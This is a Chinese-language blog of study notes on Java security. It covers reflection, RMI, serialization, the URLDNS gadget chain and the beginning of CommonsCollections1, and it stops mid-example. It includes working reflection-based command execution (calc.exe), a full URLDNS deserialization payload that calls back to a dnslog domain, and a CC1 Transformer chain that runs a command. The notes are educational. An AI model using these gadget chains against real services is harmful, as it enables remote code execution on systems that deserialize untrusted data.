JAVA安全笔记(持续更新中)

拼搏百天,我要当Java高手!

下面的笔记来自于对于p神的Java安全漫谈的学习,同时参考了很多年没更新的huamang哥哥的博客。

反射

Java 中的反射(Reflection)是一种在运行时动态地访问、检查、修改类及其成员(如字段、方法、构造器等)的机制。通过反射,Java 程序能够在运行时获得类的信息(如类的名称、方法、字段类型等),并且可以在运行时修改类的结构,调用类的方法,甚至实例化对象。

Java 的反射 API 提供了一系列的类和接口来操作 Class 对象。主要的类包括:

  • java.lang.Class:表示类的对象。提供了方法来获取类的字段、方法、构造函数等。
  • java.lang.reflect.Field:表示类的字段(属性)。提供了访问和修改字段的能力。
  • java.lang.reflect.Method:表示类的方法。提供了调用方法的能力。
  • java.lang.reflect.Constructor:表示类的构造函数。提供了创建对象的能力。

一般来说,反射的工作流程是:获取Class对象=>获取成员信息(通过Class获取字段、方法、构造函数等)=>操作成员(读取或者修改值、调用方法、创建对象等)

基本操作

获取对象

一共有三种方法获取对象:

  • 通过类的字面量:Class<?> clazz = String.class;
  • 通过对象实例:String str = "Hello"; Class<?> clazz = str.getClass();
  • 通过 Class.forName()方法:Class<?> clazz = Class.forName("java.lang.String");

三种方法有什么差别呢?

对于第一种方法,即通过类的字面量获取对象是需要你编译时已知类(比如String类),可以直接使用 .class 语法获取 Class 对象。

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) {
        Class<?> clazz = Test.class;
        System.out.println("Class obtained using .class: " + clazz.getName());

        Class<?> clazz2 = String.class;
        System.out.println("Class obtained using .class: " + clazz2.getName());
    }
}

class Test {

}

这里我用了两种方法获取Class,第一种是这个代码里定义的Test类,第二种是默认有的String类,对于这种我们已经加载了的类,只需要直接使用.class即可获取Class。

而对于第二种情况,我们需要已经有一个对象实例,才能使用.getClass()获取他的Class

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) {
        String str = "Hello, World!";
        Class<?> clazz = str.getClass();
        System.out.println("Class obtained using getClass(): " + clazz.getName());

        Test a = new Test();
        Class<?> clazz2 = a.getClass();
        System.out.println("Class obtained using getClass(): " + clazz2.getName());
    }
}

class Test {
}

可以看到这里我同样用了两种方法获取,一种是用String str=xxx进行赋值(这个其实相当于特殊的String实例化过程),另一种是把我们这里定义的Test类实例化之后获取的Class

第三种情况相对最简单,如果你知道某个类的名字,想获取到这个类,就可以直接使用 forName 来获取:

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("java.lang.String");
        System.out.println("Class obtained using Class.forName(): " + clazz.getName());
    }
}

比如我们知道String的全名是java.lang.String,就可以用Class.forName("java.lang.String")获取这个Class,可以看到这种方法相对而言最简单,代价就是其他两种方法不需要throws Exception,而这种方法由于运行时可能找不到指定的类,所以必须抛出异常。

这种动态的执行方法也为我们安全人员提供了可乘之机,即使上下文中只有Integer类型的数字,我们也可以通过反射获取可以执行命令的Runtime类:1.getClass().forName("java.lang.Runtime")。(真好,没有这些动态的执行方式,我们安全人员就没饭吃了)

对于forName实际上有两个函数重载:

  • Class.forName(className)
  • Class.forName(className, true, currentLoader)

虽然二者本质上差不太多,但其实第一种用法只是第二种方法的一个封装,也就掩盖了不少的细节,默认情况下, forName 的第一个参数是类名;第⼆个参数表示是否初始化;第三个参数就是 ClassLoader(类的加载器)。是否初始化这个参数其实是告诉JVM是否执行”类初始化“,在 forName 的时候,构造函数并不会执行,而是执行类初始化,也就是会执行static{}静态块里面的内容。

这样说起来可能会有点抽象,这里讲讲Java的三种代码块:静态初始化块(static block)实例初始化块(instance initializer block)构造方法(constructor),对于下面的代码,执行结果如下:

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        new Test();
    }
}

class Test {
    public Test() {
        System.out.println("我是构造方法");
    }

    static {
        System.out.println("我是静态初始化块");
    }

    {
        System.out.println("我是实例初始块");
    }
}
  • 静态初始化块(static {})在类被加载到 JVM 时执行,仅执行一次,只能访问静态成员,同时在任何对象创建之前执行。
  • 实例初始化块({})每次创建对象时,在构造方法之前执行。
  • 构造方法(public ClassName() {})每次创建对象时,在实例初始化块之后执行。

而forName的这个参数就是控制静态初始化块的,可以看到它的优先级非常高,如果我们可以编写恶意类,就可以把恶意代码放在static{}里,然后用第二个参数直接对这个类进行调用,比如我们现在再改动一下代码看看执行结果:

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("chapter10.Test");
    }
}

class Test {
    public Test() {
        System.out.println("我是构造方法");
    }

    static {
        System.out.println("hacked by fushuling");
    }

    {
        System.out.println("我是实例初始块");
    }
}

创建对象

我们可以使用反射动态创建对象,用法就是Class<?> clazz = Class.forName("java.lang.String");
Object obj = clazz.getDeclaredConstructor().newInstance();
,主要就是获取Class之后进行一次newInstance

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("chapter10.Test");
        Object obj = clazz.getDeclaredConstructor().newInstance();
    }
}

class Test {
    public Test() {
        System.out.println("我是构造方法");
    }

    static {
        System.out.println("hacked by fushuling");
    }

    {
        System.out.println("我是实例初始块");
    }
}

可以看到我们把三个代码块都触发了,和之前直接new一个对象的执行结果差不多。

当然,比如对于一个Fushuling类,在我们获取Class后,我们也可以通过Fushuling fushuling = (Fushuling) clazz.newInstance();创建对象。

访问字段

主要的用法如下:

  • clazz.getField(String name):获取公有字段(包括继承的)
  • clazz.getDeclaredField(String name):获取本类中声明的字段(包括私有字段)
  • field.setAccessible(true):允许访问私有字段
  • field.get(Object obj):获取字段值
  • field.set(Object obj, Object value):设置字段值

代码示例如下:

package chapter10;

import java.lang.reflect.Field;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        // 1. 获取 Class 对象
        Class<?> clazz = Class.forName("chapter10.Fushuling");
        // 2. 实例化
        Fushuling fushuling = (Fushuling) clazz.newInstance();
        // === 访问公有字段 ===
        Field publicField = clazz.getField("publicName");
        System.out.println("Public Field Value: " + publicField.get(fushuling));
        publicField.set(fushuling, "yulate");
        System.out.println("Updated Public Field Value: " + publicField.get(fushuling));

        // === 访问私有字段 ===
        Field privateField = clazz.getDeclaredField("privateAge");
        privateField.setAccessible(true); // 允许访问私有字段
        System.out.println("Private Field Value: " + privateField.get(fushuling));
        privateField.set(fushuling, 25);
        System.out.println("Updated Private Field Value: " + privateField.get(fushuling));
    }
}

class Fushuling {
    public String publicName = "fushuling";
    private int privateAge = 20;
}

调用方法

利用反射调用方法的流程大概是:

获取 Class => 获取目标 Method 对象(公有用 getMethod,私有用 getDeclaredMethod)=> 设置可访问(私有方法要 setAccessible(true))=> 使用 invoke() 调用方法

  • clazz.getMethod(String name, Class… parameterTypes):获取 公有方法(包括继承的)(注意,这里第一个参数是方法名,后面的参数表示的是这个方法传入参数的类型,比如参数是String就是String.class)
  • clazz.getDeclaredMethod(String name, Class… parameterTypes):获取 本类声明的方法(包括私有方法)
  • method.setAccessible(true):允许访问私有方法
  • method.invoke(Object obj, Object… args):调用方法,第一个参数是对象,后面是传入方法的参数

非静态方法的调用例子:

package chapter10;

import java.lang.reflect.Method;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        // 1. 获取 Class 对象
        Class<?> clazz = Class.forName("chapter10.Fushuling");
        // 2. 实例化
        Fushuling fushuling = (Fushuling) clazz.newInstance();

        //调用公有方法 sayHello
        Method publicMethod = clazz.getMethod("sayHello", String.class);
        publicMethod.invoke(fushuling, "yulate");

        //调用私有方法 add
        Method privateMethod = clazz.getDeclaredMethod("add", int.class, int.class);
        privateMethod.setAccessible(true);  // 允许访问私有方法
        int result = (int) privateMethod.invoke(fushuling, 5, 7);
        System.out.println("Result of add: " + result);
    }
}

class Fushuling {
    public void sayHello(String name) {
        System.out.println("Hello, " + name);
    }

    private int add(int a, int b) {
        return a + b;
    }
}

调用静态方法(这里我们就不需要实例化对象了,直接对类操作):

package chapter10;

import java.lang.reflect.Method;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        //调用静态方法 echo
        Method staticMethod = Fushuling.class.getMethod("echo", String.class);
        String echoed = (String) staticMethod.invoke(null, "yulate好帅");
        System.out.println(echoed);  // Echo: Hi
    }
}

class Fushuling {
    public static String echo(String input) {
        return "Echo: " + input;
    }
}

如果方法是静态方法,invoke() 的第一个参数可以传 null,毕竟这个时候我们也没有具体的对象。

这里你可能已经迫不及待,想通过反射执行命令了,你可能会按照上面的格式写出下面的代码:

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
    }
}

一运行就报错了:

错因也写的很明显,就是这个Runtime 类的构造方法是私有的,这里涉及到单例模式的问题,在单例模式下一个类在整个应用中只能有一个实例,而且提供一个全局访问点,好处就是节省资源(只创建一次)并且方便全局管理,因此不允许外部随便 new 。

所以这里只能通过 Runtime.getRuntime() 来获取到 Runtime 对象然后才能invoke我们想要的exec函数:

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
//        Class clazz = Class.forName("java.lang.Runtime");
//        clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");

        Class clazz = Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
    }
}
我去!我电脑弹计算器了!

还原代码,其实就是:

package chapter10;

import java.lang.reflect.Method;

public class Java05_Reflect_Test_Expanded {
    public static void main(String[] args) throws Exception {
        // 1. 获取 Runtime 类的 Class 对象
        Class<?> runtimeClass = Class.forName("java.lang.Runtime");

        // 2. 获取 getRuntime() 方法对象(这是一个静态方法)
        Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");

        // 3. 调用 getRuntime() 静态方法,获取 Runtime 实例
        Object runtimeInstance = getRuntimeMethod.invoke(null);  // 因为是静态方法,所以传 null

        // 4. 获取 exec(String command) 方法对象
        Method execMethod = runtimeClass.getMethod("exec", String.class);

        // 5. 调用 exec 方法,执行系统命令 "calc.exe"
        execMethod.invoke(runtimeInstance, "calc.exe");
    }
}

这里其实有两个问题:

  • 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
  • 如果一个方法或构造方法是私有方法,我们是否能执行它呢?

问题一的解决办法

对于问题一,我们需要使用getConstructor,getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载,所以必须用参数列表类型才能唯一确定一个构造函数。获取到构造函数后,我们再使用 newInstance 来执行,比如利用ProcessBuilder执行命令的例子:

Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();

ProcessBuilder有两个构造函数:

  • public ProcessBuilder(List<String> command)
  • public ProcessBuilder(String… command)

上面的例子其实使用的是第一个例子,传入的是List.class,不过上面的payload使用了java的强制类型转换,如果目标没有这种语法,就还得上反射了:

Class clazz = Class.forName("java.lang.ProcessBuilder");
    clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

先通过 getMethod(“start”) 获取到start方法,然后 invoke 执行, invoke 的第一个参数就是ProcessBuilder Object

package chapter10;

import java.util.Arrays;
import java.util.List;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
    }
}

如果想通过第二种构造函数实现RCE,这里就需要用到可变长参数了,用...表示参数可变,而由于编译时可变长参数其实会被编译成数组,所以String[]和String…其实没有什么差别,因此我们可以把payload改写成:

package chapter10;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
    }
}

问题二的解决办法

这里其实很容易想到,我们直接用setAccessible把之前不能访问的方法设置成可访问就行了

package chapter10;

import java.lang.reflect.Constructor;

public class Java05_Reflect_test {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor m = clazz.getDeclaredConstructor();
        m.setAccessible(true);
        clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
    }
}

值得注意的是,这样的写法在 Java 9 之后默认会抛出报错:

Unable to make private java.lang.Runtime() accessible

看来官方也是有脑子的,都private了怎么还能让你随便访问,不过我们仍然可以在java 9中加 VM 参数:--add-opens java.base/java.lang=ALL-UNNAMED 来临时绕过,所以其实也没啥用。

RMI

RMI(Remote Method Invocation) 是 Java 的一种机制,允许一个 Java 对象调用另一个 Java 虚拟机(JVM)上的对象的方法,就像本地调用一样。换句话说,它支持 跨网络的对象方法调用

它的核心思想是让方法调用“穿越”JVM,实现分布式对象通信。

RMI的组件一般包括下面四种:

  • 远程接口(Remote Interface):定义远程对象可调用的方法。
  • 远程对象的实现类(Remote Object Implementation)
  • 服务器(Server):注册远程对象到 RMI 注册中心。
  • 客户端(Client):查找远程对象并调用其方法。

这里我们来分别实现这四个东西:

这里我们定义远程接口 Hello.java,该接口继承自 Remote,声明了一个远程方法 sayHello(String name)(注意:所有远程方法都必须声明抛出 RemoteException,和之前的forName一样):

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello(String name) throws RemoteException;
}

我们再实现远程接口 HelloImpl.java,这里我们继承 UnicastRemoteObject 并实现 Hello 接口,同时具体实现这个sayHello方法和构造方法:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
        super();
    }

    public String sayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

服务器端 Server.java,作用主要是创建 RMI 注册表(使用默认端口 1099),创建服务实现类的实例,将远程对象绑定到注册表中,使用名称 “HelloService”

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) {
        try {
            HelloImpl obj = new HelloImpl();

            // 启动本地的 RMI 注册服务(1099 端口)
            LocateRegistry.createRegistry(1099);

            // 绑定远程对象
            Registry registry = LocateRegistry.getRegistry();
            registry.rebind("HelloService", obj);

            System.out.println("RMI start");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

最后客户端 Client.java的作用比较简单,连接到本地(localhost)的 RMI 注册表然后查找名为 “HelloService” 的远程对象,最后调用远程方法 sayHello,传入参数 “fushuling”

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) {
        try {
            // 连接到服务器(默认本机)
            Registry registry = LocateRegistry.getRegistry("localhost");

            // 查找远程对象
            Hello stub = (Hello) registry.lookup("HelloService");

            // 调用远程方法
            String response = stub.sayHello("fushuling");
            System.out.println("Server response:" + response);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

接着在这个目录下进行编译:

javac -source 1.8 -target 1.8 -encoding UTF-8 *.java

然后先运行服务端:

java Server

再运行客户端:

java Client

运行流程就是:运行 Server 类启动 RMI 服务=>运行 Client 类连接服务并调用远程方法=>服务器处理请求并返回结果=>客户端接收并显示结果

可以看到通过这种方式,我们就实现了在一个jvm中的对象调用另一个jvm中对象上的方法,有点像RPC,不过这里存在一个RMI Registry网关,他自己不会执行方法,但是RMI Server可以在上⾯注册一个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI
Server;最后,远程方法实际上在RMI Server上调用。

可想而知,既然能远程调用恶意方法,就很容易促进恶意代码的执行,为我们安全人员提供更多饭碗。

反序列化

大部分语言都存在反序列化,反序列化本身是为了在网络中传输对象而使用的,比如php或者java里的序列化方法,就可以把一个对象转化成一串二进制数据进行传输。

在 Java 的序列化过程中有一个很关键的方法 writeObject ,他用于自定义对象如何被写入(序列化)到字节流这个过程中,让我们在序列化流中可以插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。

readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题。事实上在PHP的反序列化过程中,一旦开始反序列化(调用unserialize),开发者就没办法新增内容了,想参与只能在序列化之前改属性,而Java的反序列化很多时候需要开发者深入参与,因此我们可以直接使用 writeObject 向序列化流里写入数据,这一点与PHP是有很大的不同的。

下面是一个简单的Java反序列化的例子

package Unserialize;

import java.io.*;

public class EasyDemo {
    public static void main(String[] args) throws Exception {
        Person p = new Person("Fushuling");
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("p.ser"));
        oos.writeObject(p);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("p.ser"));
        Person deserialized = (Person) ois.readObject();
        ois.close();

        System.out.println("✅ name: " + deserialized.name);
    }
}

class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    String name;

    public Person(String name) {
        this.name = name;
    }

    private void writeObject(ObjectOutputStream out) throws IOException {
        System.out.println("🔒 writeObject 被调用");
        out.defaultWriteObject();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("🔓 readObject 被调用");
        in.defaultReadObject();
    }
}

在上面的代码中,我们首先创建对象并序列化,也就是

Person p = new Person("Fushuling");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("p.ser"));
oos.writeObject(p);
oos.close();

这里我们创建了一个 Person 实例,传入名字 "Fushuling",创建文件输出流,指向 p.ser 文件(保存序列化后的字节),包装成 ObjectOutputStream,它支持 .writeObject()。这里oos.writeObject(p)会自动调用 pwriteObject() 方法(如果定义了的话,也就是那个private void writeObject,否则就默认序列化字段),最后关闭了输出流。

接着进行反序列化对象

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("p.ser"));
Person deserialized = (Person) ois.readObject();
ois.close();

具体而言,先打开 p.ser 文件,读取刚刚写入的对象,接着使用 ObjectInputStream 反序列化(readObject() 会返回一个 Object,所以要强制转成 Person)。ois.readObject()会判断这个对象的类(这里是 Person)有没有定义一个私有的 readObject(ObjectInputStream) 方法,有的话就会调用后再把对象返回。由于获得了一个完好的对象,所以我们在最后可以直接用deserialized.name输出他的name。

当然,即使我们没有实现private void writeObject(...)readObject(...),我们依然需要写这两行代码:

oos.writeObject(p);       // 写入对象
ois.readObject();         // 读取对象

他也会正常的进行序列化和反序列化,只是如果我们额外实现了这俩方法的话就可以增加额外逻辑了,比如我们在之前的代码的基础上稍微修改一下:

class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    String name;

    public Person(String name) {
        this.name = name;
    }

    // 自定义序列化:写入原字段 + 额外逻辑
    private void writeObject(ObjectOutputStream out) throws IOException {
        System.out.println("🔒 writeObject 被调用");
        out.defaultWriteObject();  // 写入默认字段(如 name)
        
        long timestamp = System.currentTimeMillis(); 
        System.out.println("🕒 写入时间戳: " + timestamp);
        out.writeLong(timestamp);  // 写入一个额外的时间戳
    }

    // 自定义反序列化:读取原字段 + 额外逻辑
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("🔓 readObject 被调用");
        in.defaultReadObject();  // 恢复默认字段(如 name)

        long timestamp = in.readLong(); 
        System.out.println("🕒 反序列化时读取时间戳: " + timestamp); // 读取一个额外的时间戳
    }
}

这里我们用 writeObject() 写入一个额外的时间戳,用来表示这个对象被序列化的时间;readObject() 在反序列化时把它读回来并打印出来,可以发现现在我们其实就改变了原始的序列化流,而这一点PHP是做不到的,也导致为什么Java的反序列化漏洞又多又严重,而PHP的反序列化漏洞某种意义上其实都不算是漏洞。

URLDNS

URLDNS 是由 ysoserial 提供的一种无依赖、无回显、无命令执行的 Java 反序列化 gadget 链(gadget链也就是利用链的的意思,有时候我们会进一步简称为gadget),其本质目的是触发 DNS 请求,用于验证目标是否存在反序列化漏洞。URLDNS完全由Java内置类构造,没有对第三方库的依赖,因此非常适合用来探测一个目标是否存在反序列化漏洞。

翻开ysoerial的源码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java,URLDNS的核心其实是下面的代码:

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

核心就是构造一个 HashMap,其 key 是特制的 java.net.URL 对象,当反序列化该 HashMap 时,会自动调用 URL.hashCode(),而这个方法内部会触发 DNS 解析,从而向你控制的 DNS 服务器发起请求。当然getObject这个方法本身是不会触发DNS的,这只是构造了一个对象罢了,注解一下大概如下:

public Object getObject(final String url) throws Exception {

    // 1. 创建自定义 handler,防止构造阶段触发 DNS 请求
    URLStreamHandler handler = new SilentURLStreamHandler();

    // 2. 创建 HashMap 和 URL 对象
    HashMap ht = new HashMap(); // 生成一个HashMap对象
    URL u = new URL(null, url, handler); // 构造时如果没有 handler,会发起 DNS(但这里避免了)

    // 3. 放入 HashMap,key 是 URL 对象
    ht.put(u, url); // 会调用 URL.hashCode(),但不会触发 DNS,因为 handler 是空实现

    // 4. 清除 hashCode 缓存,防止下次不触发 DNS
    Reflections.setFieldValue(u, "hashCode", -1);

    return ht;
}

而当这个payload(也就是被反序列化后的对象)被发送给目标系统并进行触发的时候,比如下面的代码:

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();

就会走我们之前说的Gadget触发漏洞。

为了便于理解,这里我直接给出能打通的代码(高版本会有麻烦,我这里使用的是JDK 1.8,也就是java 8):

序列化的代码

package URLDNS;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://18qmlt.dnslog.cn");
        Class<? extends URL> clazz = url.getClass();
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 1234);
        hashmap.put(url, 1);
        field.set(url, -1);
        serialize(hashmap);
    }
}

反序列化代码:

package URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerializeTest {
    public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unSerialize("ser.bin");
    }
}

运行序列化代码,可以看到在IDEA工作目录生成了一个ser.bin,这个就是序列化后的数据

我手动把他copy到URLDNS目录去了,然后运行另一个反序列化代码,可以看到平台成功接收到请求:

回到gadget,我们现在直奔HashMap的readObject(IDEA里全局搜索一下就搜得到)

@java.io.Serial
    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

可以看到这里有一行putVal(hash(key), key, value, false, false);,这里的hash是一个关键方法,因为在ysoserial的注解里写道:

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

翻译过来也就是:在上述 put 操作过程中,会计算并缓存 URL 的 hashCode。这会重置 hashCode,以便下次调用 hashCode 时触发 DNS 查找。

对着那个hash函数,按住ctrl然后鼠标左键点击,可以定位到这个hash函数:

这里主要是调用了这个key.hashCode方法,但值得注意的是,hash方法是调用了我们传入的这个key对象的hashCode方法,而我们传入的key其实是URL url = new URL("http://18qmlt.dnslog.cn");,所以其实是一个java.net.URL对象,我们来搜一下他的hashCode:

可以发现逻辑就是当hashCode的值为-1的时候执行一个handler.hashCode(this),我们再搜一下这个handler:

可以看到这东西是个URLStreamHandler类的对象,再搜一下这个对象的hashCode:

这里有一行InetAddress addr = getHostAddress(u);,看名字也知道离我们的目标很近了,再来跟根这个getHostAddress

关键逻辑是u.hostAddress = InetAddress.getByName(host),它可以根据主机名获取其IP地址,在⽹络上其实就是⼀次DNS查询,而这里就是我们的最终目标,实现一次URLDNS,这里我们就可以分析出来他的Gadget其实就是:

HashMap->readObject()
  =>HashMap->hash()
    =>URL->hashCode()
      =>URLStreamHandler->hashCode()
         =>URLStreamHandler->getHostAddress()
            =>InetAddress->getByName()

这里我们回到yso的构造对象的代码里,现在就好理解的多,它的代码是:

public Object getObject(final String url) throws Exception {

    URLStreamHandler handler = new SilentURLStreamHandler();
    HashMap ht = new HashMap(); 
    URL u = new URL(null, url, handler);
    ht.put(u, url); 
    Reflections.setFieldValue(u, "hashCode", -1);

    return ht;
}

首先是URLStreamHandler handler = new SilentURLStreamHandler(),他是用来避免在payload 构造阶段就提前触发 DNS(因为 URL 一被构造,就有可能解析域名);接着是HashMap ht = new HashMap(),他是用来创建HashMap对象的;然后是URL u = new URL(null, url, handler),这个代码创建了一个 URL 对象 u,但因为用了自定义 handler,所以这时候还不会触发 DNS;接着有一个很关键的步骤,就是ht.put(u, url),我们看到他的实现:

这里就续上了,put其实就是调用了putVal,他把我们之前生成的 URL 对象作为 key 放入 HashMap,为了保证反序列化时再次触发 hashCode,我们手动把hashCode重置成了 -1。

最后来一个老图重偷,再贴一次huamang哥哥的思维导图:

CommonsCollections1

CC链想打通需要CommonsCollections <= 3.2.1以及低版本的JDK,我用的是和上面一样的环境,下载链接:https://archive.apache.org/dist/commons/collections/binaries/,接着导入这个jar

先在项目的同目录创建一个lib目录方便管理

然后把下好的jar放到lib里,接着点击File,再点这个Project Structure

选择modules,再选择Add

选择第一个,那个JARs选项,然后选择我们的lib目录就好了

简单Demo

接着我们来试试P神给出的最简单的CC1 payload:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class easycc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}
我去!我电脑怎么又弹计算器了!

上面的代码涉及了几个接口和类,我们来看看:

Transformer 和 TransformedMap

Transformer 是 Apache Commons Collections(3.x)提供的一个接口,用来对输入对象进行转换,返回转换后的对象,接口定义大概长这样:

public interface Transformer {
    Object transform(Object input);
}

TransformedMap 是一个 Map 的“装饰器”——它包装一个已有的 Map,并在你执行 put() 操作时自动调用 Transformer 对 key 和 value 做转换,比如我们可以对 key 进行大写转换或者对 value 进行某种格式化或类型转换等等。

下面是一个代码示例:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Example_1 {
    public static void main(String[] args) {
